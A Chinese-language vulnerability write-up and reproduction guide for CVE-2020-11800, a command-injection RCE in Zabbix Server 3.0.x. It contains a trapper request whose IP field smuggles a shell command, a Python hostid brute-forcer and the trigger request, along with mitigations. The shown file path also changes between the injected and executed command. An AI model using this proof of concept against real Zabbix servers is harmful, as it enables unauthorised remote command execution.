CVE-2020-11800 zabbix RCE漏洞细节披露
字数 1193 2025-08-18 17:33:28
Zabbix远程代码执行漏洞(CVE-2020-11800)分析与复现指南
漏洞概述
CVE-2020-11800是Zabbix监控系统中存在的一个远程代码执行漏洞,影响Zabbix Server的trapper命令处理功能。该漏洞允许攻击者通过命令注入实现远程代码执行,CVSSv3评分为9.0(高危)。
影响范围
- 受影响版本:Zabbix 3.0.x至3.0.30
- 官方下载:Zabbix 3.0下载页面
漏洞原理
该漏洞与早期漏洞CVE-2017-2824原理相同,都是由于IP地址验证不充分导致的命令注入问题:
- 漏洞根源:Zabbix Server在处理自动注册功能时,对IP地址的验证存在缺陷
- 修复绕过:虽然3.0.x版本修复了IPv4的验证问题,但IPv6验证仍可被绕过
- 注入方式:攻击者可构造特殊格式的IPv6地址(如
ffff:::;touch /tmp/1234pwn)绕过验证
漏洞复现步骤
1. 配置自动注册规则
- 登录Zabbix Portal
- 导航至
Configuration→Actions - 将
Event source调整为Auto registration - 点击
Create action:- 第一个页签:填写任意名称
- 第二个页签:设置条件(为复现方便可留空)
- 第三个页签:选择
Add host操作
2. 注册恶意主机
发送以下trapper命令进行主机注册:
{
"request": "active checks",
"host": "helloworld",
"ip": "ffff:::;touch /tmp/1234pwn"
}
3. 爆破hostid
使用以下Python代码片段爆破获取上一步添加主机的hostid:
def doCmd(ip, cmd):
s = remote(ip, 10051)
length = len(cmd)
payload = 'ZBXD' + '\x01' + p32(length) + p32(0) + cmd
s.send(payload)
rsp = s.recv(400)
info = json.loads(rsp)['info']
print info
if info.startswith('Unknown Host ID'):
s.close()
return False
s.close()
return True
def hostid_bruteforce():
for ip in ipList:
try:
for i in range(10000, 20000):
cmd_fmt = '{"request":"command","scriptid":"3","hostid":"%d","nodeid":"0"}'
cmd = cmd_fmt%i
rsp = doCmd(ip, cmd)
try:
r = json.loads(rsp)['response']
if r == 'success':
print 'hostid = %d' % i
except Exception as e:
print e
except Exception as e:
print e
4. 触发命令注入
获取hostid后,发送以下命令触发RCE:
{
"request": "command",
"scriptid": "1",
"hostid": "10106",
"nodeid": "0"
}
成功执行后将在服务器上创建/tmp/1234pwn文件。
漏洞分析
-
攻击路径:
- 利用自动注册功能添加恶意主机
- 通过IPv6地址格式绕过验证注入命令
- 执行系统命令实现RCE
-
技术细节:
- 自动注册功能本意是允许agent主动注册到server
- 漏洞点在
active checks命令字处理逻辑 - 构造的IPv6地址
ffff:::;touch /tmp/1234pwn绕过验证 - 最终执行的命令变为:
/bin/ping -c 3 ;touch /tmp/zabbix_pwned 2>&1
修复建议
- 官方修复:升级至最新版本
- 临时缓解:
- 禁用自动注册功能
- 加强IP地址验证逻辑
- 限制Zabbix Server的10051端口访问
参考链接
注意事项
- 该漏洞利用需要服务端配置开启自动注册或Zabbix Proxy自动发现功能
- 实际环境中hostid爆破可能需要调整范围
- 测试前请确保获得系统所有者授权,避免违反法律法规